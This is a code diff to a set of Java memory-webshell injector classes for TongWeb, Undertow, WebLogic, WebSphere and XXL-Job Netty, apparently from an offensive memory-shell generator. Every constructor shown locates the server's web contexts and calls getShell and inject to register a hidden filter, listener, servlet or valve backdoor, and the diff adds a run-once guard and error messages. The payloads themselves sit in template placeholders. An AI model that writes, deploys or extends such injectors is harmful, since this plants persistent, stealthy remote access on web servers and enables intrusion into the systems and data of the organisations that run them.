@@ -33,13 +34,18 @@ public class TongWebFilterInjector {
} }
public TongWebFilterInjector() { public TongWebFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
try { try {
msg += ("context: [" + getContextRoot(context) + "] "); msg += ("context: [" + getContextRoot(context) + "] ");
@@ -51,6 +57,7 @@ public class TongWebFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class TongWebListenerInjector { public class TongWebListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebListenerInjector {
} }
public TongWebListenerInjector() { public TongWebListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream;
public class TongWebValveInjector { public class TongWebValveInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebValveInjector {
} }
public TongWebValveInjector() { public TongWebValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebValveInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class UndertowFilterInjector { public class UndertowFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class UndertowFilterInjector {
} }
public UndertowFilterInjector() { public UndertowFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class UndertowFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -20,18 +20,32 @@ import java.util.zip.GZIPInputStream;
public class UndertowListenerInjector { public class UndertowListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public UndertowListenerInjector() { public UndertowListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -40,6 +54,7 @@ public class UndertowListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -60,14 +75,6 @@ public class UndertowListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
public class UndertowServletInjector { public class UndertowServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -34,16 +35,21 @@ public class UndertowServletInjector {
} }
public UndertowServletInjector() { public UndertowServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,6 +58,7 @@ public class UndertowServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class WebLogicFilterInjector { public class WebLogicFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -30,16 +31,21 @@ public class WebLogicFilterInjector {
} }
public WebLogicFilterInjector() { public WebLogicFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream;
public class WebLogicListenerInjector { public class WebLogicListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -30,16 +31,21 @@ public class WebLogicListenerInjector {
} }
public WebLogicListenerInjector() { public WebLogicListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -48,6 +54,7 @@ public class WebLogicListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -21,6 +21,7 @@ import java.util.zip.GZIPInputStream;
public class WebLogicServletInjector { public class WebLogicServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -35,16 +36,21 @@ public class WebLogicServletInjector {
} }
public WebLogicServletInjector() { public WebLogicServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,6 +59,7 @@ public class WebLogicServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -8,9 +8,7 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -24,6 +22,7 @@ import java.util.zip.GZIPInputStream;
public class WebSphereFilterInjector { public class WebSphereFilterInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,16 +37,21 @@ public class WebSphereFilterInjector {
} }
public WebSphereFilterInjector() { public WebSphereFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -56,6 +60,7 @@ public class WebSphereFilterInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream;
public class WebSphereListenerInjector { public class WebSphereListenerInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -28,16 +29,21 @@ public class WebSphereListenerInjector {
} }
public WebSphereListenerInjector() { public WebSphereListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[/*] ready\n"; msg += "[/*] ready\n";
@@ -46,6 +52,7 @@ public class WebSphereListenerInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream;
public class WebSphereServletInjector { public class WebSphereServletInjector {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -29,16 +30,21 @@ public class WebSphereServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public WebSphereServletInjector() { public WebSphereServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null; Set<Object> contexts = null;
try { try {
contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts != null) { if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try { try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
@@ -47,6 +53,7 @@ public class WebSphereServletInjector {
} }
} }
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }
@@ -28,6 +28,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> { public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
private String msg = ""; private String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -38,12 +39,16 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
} }
public XxlJobNettyHandlerInjector() { public XxlJobNettyHandlerInjector() {
if (ok) {
return;
}
try { try {
inject(); inject();
msg += "[/*] ready\n"; msg += "[/*] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
} }
ok = true;
System.out.println(msg); System.out.println(msg);
} }